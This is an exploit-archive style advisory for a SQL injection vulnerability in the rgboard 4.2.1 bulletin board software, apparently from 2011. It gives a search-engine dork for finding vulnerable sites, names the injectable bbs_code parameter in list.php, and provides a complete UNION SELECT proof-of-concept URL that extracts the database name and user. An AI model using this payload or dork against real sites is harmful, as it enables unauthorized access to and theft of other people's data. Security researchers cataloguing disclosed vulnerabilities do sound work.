rgboard 4.2.1 - SQL Injection

* Exploit Title: rgboard SQL Injection Vulnerability

* inurl: rgboard4/list.php

* Date: 2011. 6.22

* Author: hamt0ry (hamt0ry@163.com)

* Test on : Windowss XP SP3

* Software Link: http://v4.rgboard.com/rg4_board/down.php?&bbs_code=rgboard_pds&bd_num=1757&key=0&mode=down

* Version: rgboard 4.2.1

* SQL Injection
	
	http://[target]/list.php?bbs_code=notice[SQL]

* POC : http://site/list.php?bbs_code=notice'+and+1=2+union+select+1%2C2%2C3%2C4%2C1%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%2C17%2C18%2C19%2C20%2C21%2C22%2C23%2C24%2C25%2C26%2C27%2Cdatabase()%2C(select%20concat(0x2f,unhex(Hex(cast(user()%20as%20char)))))%2C30%2C31%2C32%2C33%2C34%2C35%2C6%2C5%2C4%2C3%2C2%23